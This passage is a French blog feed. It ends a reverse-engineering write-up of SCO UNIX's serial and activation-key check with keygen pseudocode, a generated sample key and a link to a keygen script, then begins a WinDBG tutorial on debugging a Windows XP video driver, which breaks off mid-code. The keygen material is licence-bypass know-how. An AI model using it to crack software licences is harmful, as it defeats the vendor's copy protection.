&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;strncpy&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serialno_ak&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Le code va passer les 3 premiers octets de l'activation key déchiffrée à la
fonction &lt;code&gt;get_decrypted_serial&lt;/code&gt;, ainsi qu'un nom de &lt;code&gt;prd&lt;/code&gt;, et un FILE* ouvert
sur un fichier de bundlelist initialisé plus haut, lors du parsing des
arguments:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sa"&gt;L&lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;_flag_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_flag_b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;prd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optarg&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;bundlelist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;fopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;optind&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bundlelist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mh"&gt;0x0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;print_error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;optind&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;optind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;optind&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Regardons plus en détail la tête de ce fichier, qu'on trouve dans l'archive tar
de l'image disquette M1.IMG, dans &lt;code&gt;./tmp/perms/bundle/netos&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;macropkg=&amp;quot;OS Services&amp;quot; : comp=&amp;quot;SCO UNIX System V Runtime System&amp;quot; : \
 prd=unixrts : rel=3.2.4l : mapping=1 : compsize=15768 : vols=3 : \
 mdperms=/etc/perms/rtsmd : mdchar=N : pkgreq=RTS : perms=./tmp/perms/rts : \
 serial=&amp;quot;^=Wy2-5_7._/-`^4-,XMNOIA,1&amp;quot; : char=B
#
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On y voit notamment ce fameux &lt;code&gt;serial="^=Wy2-5_7._/-`^4-,XMNOIA,1"&lt;/code&gt;, qui va
être extrait par la fonction &lt;code&gt;get_decrypted_bundle_serial&lt;/code&gt;, après avoir parsé
ce fichier bundle. Une fois extrait, &lt;code&gt;decode_bundle_serial&lt;/code&gt; sera appelé pour
décoder cette chaîne incompréhensible. Regardons donc ce qu'elle fait:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;decode_bundle_serial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dec_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;dec_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;custom_uudecode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;serial&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dec_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dec_len&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;enigma_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;decoded_bundle_serial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;decoded_bundle_serial&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;dec_len&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dec_len&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Notre serial est donc encodé avec l'algorithme UUEncode, à ceci près que les
caractères &lt;code&gt;"&lt;/code&gt;, &lt;code&gt;\&lt;/code&gt; et &lt;code&gt;:&lt;/code&gt; ont été substitués par &lt;code&gt;x&lt;/code&gt;, &lt;code&gt;y&lt;/code&gt;, &lt;code&gt;z&lt;/code&gt; quand le
serial a été encodé (et notre fonction applique la substitution avant de
décoder la chaîne).&lt;/p&gt;
&lt;p&gt;Une fois le serial décodé, il sera déchiffré par une variante de l'algorithme
Enigma, étendu sur 256 valeurs (1 octet) dont la clé est la chaîne de trois
caractères extraite de l'activation key déchiffrée, concaténée avec &lt;code&gt;Tb&lt;/code&gt;.
Cet article devenant assez long, je détaillerai peut-être le fonctionnement
de l'algorithme Enigma dans un prochain article (sinon utilisez votre moteur
de recherche favori :þ).&lt;/p&gt;
&lt;p&gt;Une fois proprement décodé, notre serial (enfin celui issu d'un dump de
SCO OpenDesktop dont un serial a été publié), ressemble à quelque chose comme
ceci: &lt;code&gt;zen,1,0,2,3,1,1,3&lt;/code&gt;. La "zen" ressemble étrangement à une "product key"
et l'algorithme pour keygen se profile assez facilement.&lt;/p&gt;
&lt;h1&gt;Keygen like a tapz&lt;/h1&gt;
&lt;p&gt;Avec ce que nous avons trouvé précédemment, on sait que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le "serial number" (de 9 caractères) ainsi que "l'activation key" (de 8
caractères) sont concaténés, puis l'activation key est déchiffrée.&lt;/li&gt;
&lt;li&gt;Les 2 derniers caractères de l'activation key déchiffrée sont un checksum du
concaténat, pour vérifier que la clé est valide.&lt;/li&gt;
&lt;li&gt;Les 3 premiers caractères de l'activation key sont le product code qui sera
utilisé pour déchiffrer le "serial" présent dans le fichier /etc/perms/bundle
de la disquette d'installation M1.&lt;/li&gt;
&lt;li&gt;Le "serial" du bundle est encodé avec une version "personnalisée" de UUencode
et chiffrée avec une implémentation "maison" de Enigma, dont la clé est les
trois premiers caractères de l'activation key déchiffrée.&lt;/li&gt;
&lt;li&gt;Les 3 premiers caractères du serial déchiffré sont le product code final
suivi d'une liste d'entiers séparés par des virgules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Sachant tout ça, un algorithme pour péter cette vérification de serial serait
en pseudo-code pythonisé:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;sn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;bundleserial&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;26&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="n"&gt;pk&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;chr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;97&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;dec&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;enigma&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bundleserial&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pk&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Tb&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;islower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;islower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;islower&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;dec&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;,&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;newser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sn&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;pk&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;aaa&amp;quot;&lt;/span&gt;
        &lt;span class="n"&gt;newser&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newser&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt; - &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt; is a valid serial&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encrypt_ak&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;newser&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;:])))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;En faisant tourner le keygen, on trouve par exemple: aSSfxxx1:qzfxpysu.
Le code du keygen (Python) est disponible &lt;a href="http://repo.aassfxxx.infos.st/misc/sco_bbq.py"&gt;sur ce lien&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That's all folks ! :þ&lt;/p&gt;</content><category term="Reverse-Engineering"/><category term="UNIX"/><category term="SCO"/><category term="abandonware"/></entry><entry><title>Debug ton Windows comme un pro</title><link href="/debug-ton-windows-comme-un-pro.html" rel="alternate"/><published>2021-05-24T17:41:00+02:00</published><updated>2021-05-24T17:41:00+02:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2021-05-24:/debug-ton-windows-comme-un-pro.html</id><summary type="html">&lt;p&gt;Yolo les saloupiauds, aujourd'hui on va parler de debugging de drivers Windows (et donc de WinDBG). Pour se remettre dans le contexte, j'ai décidé de convertir une  image disque de mon vieux PC sous Windows XP de mon adolescence en machine virtuelle sous libvirt (Qemu avec l'hyperviseur KVM), et l'opération s'est bien passée. Cependant, lorsque j'ai voulu installer le driver vidéo QXL pour avoir le redimensionnement automatique de l'écran de la VM, le driver refusait mystérieusement de démarrer. J'ai donc décidé de sortir l'artillerie lourde, et analyser le chargement du driver avec WinDBG.&lt;/p&gt;
&lt;p&gt;Avant de rentrer dans le vif du sujet, j'en profite pour mentionner &lt;a href="https://vimeo.com/aassfxxx"&gt;ma chaîne Vimeo&lt;/a&gt; qui contient quelques vidéo troll avec des bouts de hack puissant dedans.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Yolo les saloupiauds, aujourd'hui on va parler de debugging de drivers Windows (et donc de WinDBG). Pour se remettre dans le contexte, j'ai décidé de convertir une  image disque de mon vieux PC sous Windows XP de mon adolescence en machine virtuelle sous libvirt (Qemu avec l'hyperviseur KVM), et l'opération s'est bien passée. Cependant, lorsque j'ai voulu installer le driver vidéo QXL pour avoir le redimensionnement automatique de l'écran de la VM, le driver refusait mystérieusement de démarrer. J'ai donc décidé de sortir l'artillerie lourde, et analyser le chargement du driver avec WinDBG.&lt;/p&gt;
&lt;p&gt;Avant de rentrer dans le vif du sujet, j'en profite pour mentionner &lt;a href="https://vimeo.com/aassfxxx"&gt;ma chaîne Vimeo&lt;/a&gt; qui contient quelques vidéo troll avec des bouts de hack puissant dedans.&lt;/p&gt;

&lt;p&gt;Maintenant, un peu de musique pour se donner du courage:&lt;/p&gt;
&lt;iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay" src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/255351278?show_teaser=false"&gt;&lt;/iframe&gt;

&lt;h2&gt;Un peu de préparation&lt;/h2&gt;
&lt;p&gt;Pour faire du kernel debugging sous Windows, nous aurons besoin d'une autre VM Windows munie de WinDBG &lt;s&gt;(comme l'implémentation du protocole KD de radare2/rizin est complètement non fonctionnelle)&lt;/s&gt;. Si vous êtes sous Windows 10, je recommande d'installer "WinDBG Preview" depuis le Microsoft Store, qui offre une interface beaucoup plus moderne que le WinDBG classique des "Debugging Tools for Windows".&lt;/p&gt;
&lt;p&gt;Nous devons également configurer les deux machines virtuelles pour communiquer entre elles via le port série. La procédure étant différente selon le logiciel de virtualisation utilisé, je ne détaillerai pas la procédure dans cet article, votre moteur de recherche préféré est votre ami. Côté Windows XP, on duplique la dernière ligne du fichier &lt;code&gt;boot.ini&lt;/code&gt;, puis on rajoute "/debug /debugport=COM1". Le &lt;code&gt;boot.ini&lt;/code&gt; ressemblera donc à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[boot loader]&lt;/span&gt;
&lt;span class="na"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;30&lt;/span&gt;
&lt;span class="na"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&lt;/span&gt;
&lt;span class="k"&gt;[operating systems]&lt;/span&gt;
&lt;span class="na"&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Microsoft Windows XP Professionnel&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;/noexecute&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;optin /fastdetect&lt;/span&gt;
&lt;span class="na"&gt;multi(0)disk(0)rdisk(0)partition(1)\WINDOWS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Microsoft Windows XP Professionnel&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;/noexecute&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;optin /fastdetect /debug /debugport=COM1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;span style="color: red"&gt;ATTENTION !&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette commande ne s'applique que pour Windows 2000/XP, à partir de Windows Vista, il faut passer par bcdedit en utilisant la commande &lt;code&gt;bcdedit /debug on&lt;/code&gt; puis &lt;code&gt;bcdedit /dbgsettings serial debugport:1 baudrate:115200&lt;/code&gt;.
La suite de l'article ne devrait pas énormément changer ensuite.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Côté Windows 10, on peut désormais lancer WinDBG (je détaillerai les manipulations sur la version "Preview" uniquement). Puis on clique sur l'onglet "Fichier" du ruban, et on sélectionne l'option "Attach to kernel". Sur la page de configuration qui apparaît à côté, on clique sur l'onglet "COM", et on coche "Break on connect" en laissant les autres options telles quelles, comme sur la capture ci-dessous:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/debugxp/windbg2.png"&gt;&lt;img src="media/debugxp/windbg2.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On peut maintenant redémarrer la VM Windows XP que l'on va déboguer. Normalement, le menu de démarrage s'affiche et on peut choisir entre "Windows XP" et "Windows XP [débogage activé]". Sélectionnons l'entrée "débogage activé".&lt;/p&gt;
&lt;p&gt;Après quelques secondes (ou minutes, le temps de télécharger les PDB du noyau Windows XP), WinDBG devrait nous redonner la main, en affichant quelque chose comme ceci:
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/debugxp/windbgattached.png"&gt;&lt;img src="media/debugxp/windbgattached.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;Cliquons sur la flèche verte "Go". Un deuxième point d'arrêt est atteint, cliquons à nouveau sur la flèche verte. Windows XP continue de se lancer comme si de rien était, mais nous pouvons désormais l'interrompre et examiner son état à tout moment. Mais dans un premier temps, nous observerons simplement les messages envoyés par le driver. Cependant, les drivers officiels n'incluant ni les symboles de débogage (les fameux PDB), ni les messages, nous devrons recompiler le driver nous-même en mode "checked build" avec le DDK.&lt;/p&gt;
&lt;h2&gt;Debug logs go brrr&lt;/h2&gt;
&lt;p&gt;Pour compiler notre driver, nous aurons besoin d'installer Git, afin de cloner le dépôt des sources. Vous pourrez le trouver &lt;a href="https://git-scm.com/download/win"&gt;sur ce lien&lt;/a&gt;, et l'installer. N'oubliez pas de cocher l'option pour ajouter Git au PATH de Windows, afin de pouvoir l'utiliser sans problème avec PowerShell ou l'invite de commandes.&lt;/p&gt;
&lt;p&gt;Une fois ceci fait, il faudra cloner le dépôt qxl, avec les commandes suivantes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;mkdir c:\sources
cd c:\sources
git clone https://gitlab.freedesktop.org/spice/win32/qxl
cd qxl
git submodule init
git submodule update
cd spice-protocol
git checkout origin/master
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis, dans le code de &lt;code&gt;xddm\miniport\qxl.c&lt;/code&gt;, il faudra remplacer la fonction "DebugPrintV" par celle-ci afin d'avoir des messages de debug propres.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;DebugPrintV&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;log_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PUCHAR&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;log_port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span 